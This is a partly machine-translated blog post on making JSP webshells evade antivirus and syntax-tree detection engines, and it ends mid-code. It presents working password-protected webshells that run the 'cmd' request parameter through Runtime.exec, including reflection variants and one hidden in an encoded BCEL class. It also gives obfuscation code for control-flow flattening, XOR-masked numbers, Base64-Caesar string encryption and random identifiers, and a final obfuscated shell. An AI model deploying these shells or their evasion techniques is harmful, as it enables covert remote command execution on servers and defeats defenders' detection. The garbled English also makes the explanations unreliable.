当前位置:网站首页>JSP Webshell free kill
JSP Webshell free kill
2022-08-02 03:00:00 【wespten】
Share some useJSPFeatures against the syntax tree class engine skills.
一、“非主流”JSP语法
上面提到JSPIn the first run will beWeb容器,如Tomcat翻译成Java文件,然后才会被Jdk编译成为Class加载到jvm虚拟机中运行.JDKJust watch at compile timejava文件的格式是否正确.而Tomcat在翻译JSPDoes not check whether the grammatical.
所以我们就可以利用这一点,Deliberately constructed does not conform to the grammar specificationJSP样本,To fight the detection engineAST分析.
You can see the compiled files just the contexttry catch闭合,Formed a legalJava源文件,所以能够通过JDKThe compilation of normal operation.
二、“特殊”内置对象
Continue to see the translatedJava文件,可以看的Servlet继承了org.apache.jasper.runtime.HttpJspBase类.
在_jspServiceWe write in the business logic of the,Before you can see a series includerequest,response,pageContextBuilt-in objects such as the assignment operator.其中发现pageContext会赋值给_jspx_page_context,所以就可以直接使用_jspx_page_context来代替pageContext,Help us to obtain parameters.
Engine without identify_jspx_page_contextMight be as an undefined variable to deal with,Resulting in lost stain.
三、利用Unicode编码
JSP可以识别Unicode编码后的代码,This feature is known as.If the engine no for samplesUnicode解码处理,Can directly cause dimension reduction to crack down on.
四、利用HTML实体编码
除了JSP以外,There is also a can dynamic analytic type of script calledJSPX,可以理解成XML格式的JSP文件.在XMLCan be used to entity encoding to the special characters in escape,JSPXAlso inherited the characteristics.We can use this feature,Come to encode sensitive function even in full.
五、利用CDATA拆分关键字
XMLThere is also a feature ofCDATA区段.
Can also take advantage of this,Keywords to split up,To interfere with the analysis of the engine.
Because Ann knight USES is based on the testing technology of the disassembly with bytecode,So will not be on the surface in the form of interference by confusion.
六、Expression免杀
由于Java面向对象的特性,Almost every class are not independent,Have a series of inheritance are behind.Killing engine may identify common malicious,But we can by looking for malicious the underlying implementation of a class or top wrapper classes for around,从而实现Webshell的免杀.
向下走–Look for the underlying implementation class
这里以常见的Runtime类跟Expression类为例
ProcessImpl
查看Runtime类中exec方法的源码,可以发现exec实际上调用了ProcessBuilder的start方法.
进一步查看ProcessBuilderCan be found to be triggeredjava.lang.ProcessImpl的start方法.
跟进ProcessImpl的startThe last call its constructor found.
看一下ProcessImpl的构造方法是private类型的,And there is no any common constructor,所以直接实例化ProcessImpl就会报错.
在Java中,If you want to stop a class to be instantiated directly generally there are two ways to,One is the name of the class directly to useprivate修饰,The other is only set up a private constructor.虽然我们不能直接new一个ProcessImpl,But you can use reflection to invoke thepublic类的方法.
Statement
上文中提到了Expression的getValueMethod can realize expressions perform,Have a look at his source content.
发现Expression类继承了Statement,And then the constructor is the superclass constructor calls.
查看getValue方法,Found that call the parent classinvoke函数.
查看invoke函数,跳转到了java.beans.Statement#invoke.
跟进java.beans.Statement#invokeInternalFound at the bottom of the implementation is reflection
综上所述,Expression的getValue实际上是调用了Statement类的invoke()函数,The calculation of expression was achieved by a series of reflection again.但是invoke函数不是public类型的,不能直接调用.But we can find the similar injava.beans.Statement#execute方法调用了invoke,And at the same time meetpublic类型,可以直接调用.Statement类也是public的,可以直接new,So we can construct a new way of using.
ELManager
查看ELProcessor的eval的底层实现,找到javax.el.ELProcessor#getValue
其实是调用了this.factory的createValueExpression方法,跟进this.factory发现是ELProcessor类的构造方法中通过ELManager.getExpressionFactory()获取的.
So they can construct the following form to bypass the.
向上走–Looking for call with wrapper classes
Now that you can use the underlying class to bypass the,So of course we can look for what kind of call for our malicious class and packing.
sun.net.www.MimeLauncher
从源码中可以看到sun.net.www.MimeLauncher#run方法中最后调用了Runtime类的exec方法
但是这个类是package-private修饰的,所以不能直接调用.不过没关系,我们还有反射.
Construct the parameters,然后通过反射调用run方法
在源码中grepThe keyword as you can see the same class there are a few,这里不再赘述.
七、BCELBytecode free to kill
来自JavaSecurity world better knownBCELClassLoader
,不过对于JDKVersion has certain restrictions.
In the tool implements the staticBCEL字节码和ASMDynamic structure of two kinds of free to killWebshell.
Before handling the staticJSP如下:
<%@ page language="java" pageEncoding="UTF-8" %>
<%! String PASSWORD = "4ra1n"; %>
<%
String cmd = request.getParameter("cmd");
String pwd = request.getParameter("pwd");
if (!pwd.equals(PASSWORD)) {
return;
}
String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R$$Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86$$q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82$$$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0$$$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V$$ew$84$j6$a9$8e$fa$96$ac$X$b5To$$$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca$$$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90$$$83$bcT0$f8$b0$9eo$88$Z$r$fe$$$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A";
Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
ClassLoader loader = (ClassLoader) c.newInstance();
Class<?> clazz = loader.loadClass(bcelCode);
java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
Object obj = constructor.newInstance(cmd);
response.getWriter().print("<pre>");
response.getWriter().print(obj.toString());
response.getWriter().print("</pre>");
%>
Before handling the dynamic structure bytecodeJSP如下:
<%@ page language="java" pageEncoding="UTF-8" %>
<%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %>
<%! String PASSWORD = "4ra1n"; %>
<%
jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter(
jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES);
jdk.internal.org.objectweb.asm.FieldVisitor fieldVisitor;
jdk.internal.org.objectweb.asm.MethodVisitor methodVisitor;
classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null);
fieldVisitor = classWriter.visitField(0, "res", "Ljava/lang/String;", null, null);
fieldVisitor.visitEnd();
methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "<init>", "(Ljava/lang/String;)V", null, new String[]{"java/io/IOException"});
methodVisitor.visitCode();
methodVisitor.visitVarInsn(ALOAD, 0);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
methodVisitor.visitTypeInsn(NEW, "java/lang/StringBuilder");
methodVisitor.visitInsn(DUP);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
methodVisitor.visitVarInsn(ASTORE, 2);
methodVisitor.visitTypeInsn(NEW, "java/io/BufferedReader");
methodVisitor.visitInsn(DUP);
methodVisitor.visitTypeInsn(NEW, "java/io/InputStreamReader");
methodVisitor.visitInsn(DUP);
methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
methodVisitor.visitVarInsn(ALOAD, 1);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "<init>", "(Ljava/io/InputStream;)V", false);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "<init>", "(Ljava/io/Reader;)V", false);
methodVisitor.visitVarInsn(ASTORE, 3);
jdk.internal.org.objectweb.asm.Label label0 = new jdk.internal.org.objectweb.asm.Label();
methodVisitor.visitLabel(label0);
methodVisitor.visitVarInsn(ALOAD, 3);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false);
methodVisitor.visitInsn(DUP);
methodVisitor.visitVarInsn(ASTORE, 4);
jdk.internal.org.objectweb.asm.Label label1 = new jdk.internal.org.objectweb.asm.Label();
methodVisitor.visitJumpInsn(IFNULL, label1);
methodVisitor.visitVarInsn(ALOAD, 2);
methodVisitor.visitVarInsn(ALOAD, 4);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
methodVisitor.visitLdcInsn("\n");
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
methodVisitor.visitInsn(POP);
methodVisitor.visitJumpInsn(GOTO, label0);
methodVisitor.visitLabel(label1);
methodVisitor.visitVarInsn(ALOAD, 0);
methodVisitor.visitVarInsn(ALOAD, 2);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
methodVisitor.visitFieldInsn(PUTFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
methodVisitor.visitInsn(RETURN);
methodVisitor.visitMaxs(6, 5);
methodVisitor.visitEnd();
methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "toString", "()Ljava/lang/String;", null, null);
methodVisitor.visitCode();
methodVisitor.visitVarInsn(ALOAD, 0);
methodVisitor.visitFieldInsn(GETFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
methodVisitor.visitInsn(ARETURN);
methodVisitor.visitMaxs(1, 1);
methodVisitor.visitEnd();
classWriter.visitEnd();
byte[] code = classWriter.toByteArray();
String cmd = request.getParameter("cmd");
String pwd = request.getParameter("pwd");
if (!pwd.equals(PASSWORD)) {
return;
}
String byteCode = com.sun.org.apache.bcel.internal.classfile.Utility.encode(code, true);
byteCode = "$$BCEL$$" + byteCode;
Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
ClassLoader loader = (ClassLoader) c.newInstance();
Class<?> clazz = loader.loadClass(byteCode);
java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
Object obj = constructor.newInstance(cmd);
response.getWriter().print("<pre>");
response.getWriter().print(obj.toString());
response.getWriter().print("</pre>");
%>
八、一句话免杀
这个WebshellWill directly beWindows Defender
杀的,百度WEBDIR+
Will kill.
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
Try to open a word,Add the echo and eliminate the code,Get to the code:
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Runtime rt = Runtime.getRuntime();
String cmd = request.getParameter("cmd");
Process process = rt.exec(cmd);
java.io.InputStream in = process.getInputStream();
// 回显
out.print("<pre>");
// The Internet echo code a little problem,建议采用这种方式
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>
绕过了Windows Defender
和百度WEBDIR+
,However we cannot be satisfied with the current situation,Because these platforms killing strength is not strong.
Based on this again,You can join reflection calls to further free to kill.
<%@ page language="java" pageEncoding="UTF-8" %>
<%
// 加入一个密码
String PASSWORD = "password";
String passwd = request.getParameter("pwd");
String cmd = request.getParameter("cmd");
if (!passwd.equals(PASSWORD)) {
return;
}
// 反射调用
Class rt = Class.forName("java.lang.Runtime");
java.lang.reflect.Method gr = rt.getMethod("getRuntime");
java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
Process process = (Process) ex.invoke(gr.invoke(null), cmd);
// 类似上文做回显
java.io.InputStream in = process.getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>
九、控制流平坦化
On the basis of the reflection calls after integrating the concept of control flow flat,Will achieve the result of how?
To control the flow of flat concept the author is actually not very clear,In general is the code toswitchBlock and the dispenser.
The following is the result of the reflection code above modified,Can manually can also write a script to generate.
// Presented here is prescribed sequence dispenser
String dispenserArr = "0|1|2|3|4|5|6|7|8|9|10|11|12";
String[] b = dispenserArr.split("\\|");
int index = 0;
// 声明变量
String passwd = null;
String cmd = null;
Class rt = null;
java.lang.reflect.Method gr = null;
java.lang.reflect.Method ex = null;
Process process = null;
java.io.InputStream in = null;
java.io.InputStreamReader resulutReader = null;
java.io.BufferedReader stdInput = null;
while (true) {
int op = Integer.parseInt(b[index++]);
switch (op) {
case 0:
passwd = request.getParameter("pwd");
break;
case 1:
cmd = request.getParameter("cmd");
break;
case 2:
if (!passwd.equals(PASSWORD)) {
return;
}
break;
case 3:
rt = Class.forName("java.lang.Runtime");
break;
case 4:
gr = rt.getMethod("getRuntime");
break;
case 5:
ex = rt.getMethod("exec", String.class);
break;
case 6:
process = (Process) ex.invoke(gr.invoke(null), cmd);
break;
case 7:
in = process.getInputStream();
break;
case 8:
out.print("<pre>");
break;
case 9:
resulutReader = new java.io.InputStreamReader(in);
break;
case 10:
stdInput = new java.io.BufferedReader(resulutReader);
case 11:
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
break;
case 12:
out.print("</pre>");
break;
}
}
Notice that defines the beginning0|1|2|3|4|5|6|7|8|9|10|11|12
这样的字符串,The Numbers correspond to the order ofswitch
Block the execution order,The current from the first0条到第12条执行.
在进入switch
之前,Need to implement declare variables,否则在Java的语法下,单一case
Statement variables cannot be othercase
语句获取.
当执行完命令后,变量index
Will be more than the largest index,Result in an error stop script,So does not appear to take up the server resources.
然而在这种情况下,The dispenser is certain the number in the order,case
Order is certain,So you need to disturb the variable to confuse and free to kill,使用了Java的AST库JavaParser
Parsing code and implement this function:
if (target instanceof StringLiteralExpr) {
// StringLiteralExprObject is a simple string
String value = ((StringLiteralExpr) target).getValue();
// If you include the symbols as the dispenser
if (value.contains("|")) {
String[] a = value.split("\\|");
int length = a.length;
// A simple array disturb algorithm
for (int i = length; i > 0; i--) {
int randInd = rand.nextInt(i);
String temp = a[randInd];
a[randInd] = a[i - 1];
a[i - 1] = temp;
}
// Upset after digital reoccupy|拼起来
StringBuilder sb = new StringBuilder();
for (String s : a) {
sb.append(s).append("|");
}
String finalStr = sb.toString();
finalStr = finalStr.substring(0, finalStr.length() - 1);
// Disturb the dispenser set back
((StringLiteralExpr) target).setValue(finalStr);
result = finalStr;
}
}
打乱switch-case
块的代码:
String[] a = target.split("\\|");
// 得到SwitchStatement to replace later
SwitchStmt stmt = method.findFirst(SwitchStmt.class).isPresent() ?
method.findFirst(SwitchStmt.class).get() : null;
if (stmt == null) {
return;
}
// 得到所有的Case块
List<SwitchEntry> entryList = method.findAll(SwitchEntry.class);
for (int i = 0; i < entryList.size(); i++) {
// Case块的Label是数字
if (entryList.get(i).getLabels().get(0) instanceof IntegerLiteralExpr) {
// Get a specific digital objectsIntegerLiteralExpr
IntegerLiteralExpr expr = (IntegerLiteralExpr) entryList.get(i).getLabels().get(0);
// Set to the dispenser correspond to the order of the Numbers
expr.setValue(a[i]);
}
}
// 打乱Case块集合
NodeList<SwitchEntry> switchEntries = new NodeList<>();
Collections.shuffle(entryList);
switchEntries.addAll(entryList);
// Plug backSwitch中
stmt.setEntries(switchEntries);
After disturb effect is satisfactory:
String dispenserArr = "1|2|9|4|11|10|3|8|7|12|5|0|6";
String[] b = dispenserArr.split("\\|");
...
while (true) {
int op = Integer.parseInt(b[index++]);
switch(op) {
case 11:
gr = rt.getMethod("getRuntime");
break;
case 0:
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
break;
case 5:
stdInput = new java.io.BufferedReader(resulutReader);
case 12:
resulutReader = new java.io.InputStreamReader(in);
break;
case 4:
rt = Class.forName("java.lang.Runtime");
break;
...
}
}
十、Xor encryption digital
Xor encryption is simple:a^b=c
那么a^c=b
如果aVariable is the goal of encryption,We can randomly ab,计算得到的c和bExclusive or back to the originala
For the digital,Xor encryption can be used,And you can use multiple
And the author found that the variable is not enough,So how to make more digital variable?
Put the string variable to global array,Then use the string in array access way
String[] globalArr = new String[]{"0|1|2|3|4|5|6|7|8|9|10|11|12|13", "pwd", "cmd", "java.lang.Runtime",
"getRuntime", "exec", "<pre>", "</pre>"};
String temp = globalArr[0];
String[] b = temp.split("\\|");
...
while (true) {
int op = Integer.parseInt(b[index++]);
switch (op) {
case 0:
passwd = request.getParameter(globalArr[1]);
break;
case 1:
cmd = request.getParameter(globalArr[2]);
break;
...
}
}
这时候的globalArr[1]
Invocation style can use xor encryption.
Random random = new Random();
random.setSeed(System.currentTimeMillis());
// Iterate through all the simple digital objects
List<IntegerLiteralExpr> integers = method.findAll(IntegerLiteralExpr.class);
for (IntegerLiteralExpr i : integers) {
// 原来的数字a
int value = Integer.parseInt(i.getValue());
// 随机的数字b
int key = random.nextInt(1000000) + 1000000;
// c=a^b
int cipherNum = value ^ key;
// With a bracketa^b防止异常
EnclosedExpr enclosedExpr = new EnclosedExpr();
BinaryExpr binaryExpr = new BinaryExpr();
// 构造一个c^b
binaryExpr.setLeft(new IntegerLiteralExpr(String.valueOf(cipherNum)));
binaryExpr.setRight(new IntegerLiteralExpr(String.valueOf(key)));
binaryExpr.setOperator(BinaryExpr.Operator.XOR);
// 塞回去
enclosedExpr.setInner(binaryExpr);
i.replace(enclosedExpr);
}
The effect of double vision or encrypted:
String[] globalArr = new String[] { "1|11|13|9|5|8|12|3|4|2|10|6|7|0", "pwd", "cmd", "java.lang.Runtime", "getRuntime", "exec", "<pre>", "</pre>" };
String temp = globalArr[((1913238 ^ 1011481) ^ (432471 ^ 1361880))];
...
int index = ((4813 ^ 1614917) ^ (381688 ^ 1926256));
...
while (true) {
int op = Integer.parseInt(b[index++]);
switch(op) {
case ((742064 ^ 1861497) ^ (1601269 ^ 1006398)):
out.print(globalArr[((367062 ^ 1943510) ^ (1568013 ^ 1037067))]);
break;
case ((108474 ^ 1265634) ^ (575043 ^ 1715728)):
cmd = request.getParameter(globalArr[((735637 ^ 1455096) ^ (115550 ^ 1886513))]);
break;
case ((31179 ^ 1437731) ^ (335232 ^ 1086562)):
resulutReader = new java.io.InputStreamReader(in);
break;
...
}
}
十一、Encrypted string constants
提取的globalArr
The string is definitely,Must be a reversible encryption algorithm,Because at the time of execution need to take out to restore.
Select the simpler Caesar encryption,没有使用复杂的AES等加密.
Because Caesar encryption can encrypt special characters,所以最终选择了Base64Add Caesar encryption approach.
// 加密算法
public static String encryption(String str, int offset) {
char c;
StringBuilder str1 = new StringBuilder();
for (int i = 0; i < str.length(); i++) {
c = str.charAt(i);
if (c >= 'a' && c <= 'z') {
c = (char) (((c - 'a') + offset) % 26 + 'a');
} else if (c >= 'A' && c <= 'Z') {
c = (char) (((c - 'A') + offset) % 26 + 'A');
} else if (c >= '0' && c <= '9') {
c = (char) (((c - '0') + offset) % 10 + '0');
} else {
str1 = new StringBuilder(str);
break;
}
str1.append(c);
}
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
return encoder.encode(str1.toString().getBytes(StandardCharsets.UTF_8));
}
// 需要嵌入JSP的解密算法
public static String dec(String str, int offset) {
try {
// 先Base64解码
byte[] code = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
str = new String(code);
char c;
// Then try to Caesar password decryption
StringBuilder str1 = new StringBuilder();
for (int i = 0; i < str.length(); i++) {
c = str.charAt(i);
if (c >= 'a' && c <= 'z') {
c = (char) (((c - 'a') - offset + 26) % 26 + 'a');
} else if (c >= 'A' && c <= 'Z') {
c = (char) (((c - 'A') - offset + 26) % 26 + 'A');
} else if (c >= '0' && c <= '9') {
c = (char) (((c - '0') - offset + 10) % 10 + '0');
} else {
str1 = new StringBuilder(str);
break;
}
str1.append(c);
}
String result = str1.toString();
// 处理特殊情况
result = result.replace("\\\"","\"");
result = result.replace("\\n","\n");
return result;
} catch (Exception ignored) {
return "";
}
}
Notice the Caesar cipher need an offset,So you need to save this offset writeJSP:
Random random = new Random();
random.setSeed(System.currentTimeMillis());
// 随机偏移
int offset = random.nextInt(9) + 1;
// 得到字符串
List<StringLiteralExpr> stringList = method.findAll(StringLiteralExpr.class);
for (StringLiteralExpr s : stringList) {
if (s.getParentNode().isPresent()) {
// If the string is in the array
if (s.getParentNode().get() instanceof ArrayInitializerExpr) {
// 进行加密
String encode = EncodeUtil.encryption(s.getValue(), offset);
// There may be unexpected break
encode = encode.replace(System.getProperty("line.separator"), "");
// 设置回去
s.setValue(encode);
}
}
}
// 记录偏移量
return offset;
重点来了,When the encrypted string call need to add the decryption function
效果是:globalArr[1] -> dec(global[1])
public static void changeRef(MethodDeclaration method, int offset) {
// All of the array access object
List<ArrayAccessExpr> arrayExpr = method.findAll(ArrayAccessExpr.class);
for (ArrayAccessExpr expr : arrayExpr) {
// 如果访问的是globalArr
if (expr.getName().asNameExpr().getNameAsString().equals("globalArr")) {
// To build a method call object,Call is decryptiondec方法
MethodCallExpr methodCallExpr = new MethodCallExpr();
methodCallExpr.setName("dec");
methodCallExpr.setScope(null);
// dec方法参数需要是NodeList对象
NodeList<Expression> nodeList = new NodeList<>();
ArrayAccessExpr a = new ArrayAccessExpr();
a.setName(expr.getName());
a.setIndex(expr.getIndex());
// The first parameter to the original array call
nodeList.add(a);
// 记录的offsetNeed to pass into the second parameter
IntegerLiteralExpr intValue = new IntegerLiteralExpr();
// 塞回去
intValue.setValue(String.valueOf(offset));
nodeList.add(intValue);
methodCallExpr.setArguments(nodeList);
expr.replace(methodCallExpr);
}
}
}
处理后的结果,Combined with xor encryption to see the effect is very good.
String[] globalArr = new String[] { "M3w4fDV8OXwyfDB8NHw2fDEwfDEzfDF8MTF8MTJ8Nw==", "dWJp", "aHJp", "amF2YS5sYW5nLlJ1bnRpbWU=", "bGp5V3pzeW5yag==", "amNqaA==", "PHByZT4=", "PC9wcmU+" };
...
while (true) {
int op = Integer.parseInt(b[index++]);
switch(op) {
case ((268173 ^ 1238199) ^ (588380 ^ 1968486)):
ex = rt.getMethod(dec(globalArr[((895260 ^ 1717841) ^ (247971 ^ 1333227))], ((706827 ^ 1975965) ^ (557346 ^ 1863345))), String.class);
break;
break;
case ((713745 ^ 1371509) ^ (428255 ^ 1606073)):
gr = rt.getMethod(dec(globalArr[((254555 ^ 1810726) ^ (282391 ^ 1838190))], ((414648 ^ 1339706) ^ (324750 ^ 1496585))));
break;
case ((63576 ^ 1062484) ^ (129115 ^ 1128030)):
rt = Class.forName(dec(globalArr[((193062 ^ 1348770) ^ (1652640 ^ 1003815))], ((369433 ^ 1334986) ^ (200734 ^ 1240520))));
break;
...
}
}
十二、Identifier randomly named
还差一步,Need to which all identifiers to a random name.
这一步不难,拿到所有的NameExpr
对nameAttribute to do changes.
Map<String,String> vas = new HashMap<>();
// 所有的变量声明
List<VariableDeclarator> vaList = method.findAll(VariableDeclarator.class);
for(VariableDeclarator va:vaList){
// Amend the variable names randomly
String newName = RandomUtil.getRandomString(20);
// Pay attention to record variable mapping relationship
vas.put(va.getNameAsString(), newName);
va.setName(newName);
}
// Need to modify the reference to the variable variable name
method.findAll(NameExpr.class).forEach(n->{
// 修改引用
if(vas.containsKey(n.getNameAsString())){
n.setName(vas.get(n.getNameAsString()));
}
});
十三、Reflecting the horse final disposal
最后需要在JSPBeginning into decryption method,And decryption method can also be other means other than Caesar encryption this step
反射调用WebshellAn example of processed,最终的结果如下:
<%@ page language="java" pageEncoding="UTF-8"%><%! String PASSWORD = "passwdd"; %><%!public static String dec(String str, int offset) {
try {
byte[] RdhWGkNRTHraMoNXnbqd = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
str = new String(RdhWGkNRTHraMoNXnbqd);
char tBUyKgoXbsPvSsCJSufs;
StringBuilder RsYpziowqWZoOiHwzNsD = new StringBuilder();
for (int TjYCIPdUeOmJcJBsquxo = (1121081 ^ 1121081); TjYCIPdUeOmJcJBsquxo < str.length(); TjYCIPdUeOmJcJBsquxo++) {
tBUyKgoXbsPvSsCJSufs = str.charAt(TjYCIPdUeOmJcJBsquxo);
if (tBUyKgoXbsPvSsCJSufs >= 'a' && tBUyKgoXbsPvSsCJSufs <= 'z') {
tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'a') - offset + (1931430 ^ 1931452)) % (1564233 ^ 1564243) + 'a');
} else if (tBUyKgoXbsPvSsCJSufs >= 'A' && tBUyKgoXbsPvSsCJSufs <= 'Z') {
tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'A') - offset + (1571561 ^ 1571571)) % (1308881 ^ 1308875) + 'A');
} else if (tBUyKgoXbsPvSsCJSufs >= '0' && tBUyKgoXbsPvSsCJSufs <= '9') {
tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - '0') - offset + (1720022 ^ 1720028)) % (1441753 ^ 1441747) + '0');
} else {
RsYpziowqWZoOiHwzNsD = new StringBuilder(str);
break;
}
RsYpziowqWZoOiHwzNsD.append(tBUyKgoXbsPvSsCJSufs);
}
String TCdtxqdRtUvCZbefvpib = RsYpziowqWZoOiHwzNsD.toString();
TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\\"", "\"");
TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\n", "\n");
return TCdtxqdRtUvCZbefvpib;
} catch (Exception ignored) {
return "";
}
}%><%
try {
String[] ohMQjyWPNghGDIectNXy = new String[] { "M3w3fDl8MTF8MTB8NHwxfDEzfDB8Nnw4fDEyfDJ8NQ==", "eWZt", "bHZt", "amF2YS5sYW5nLlJ1bnRpbWU=", "cG5jQWR3Y3J2bg==", "bmdubA==", "PHByZT4=", "PC9wcmU+" };
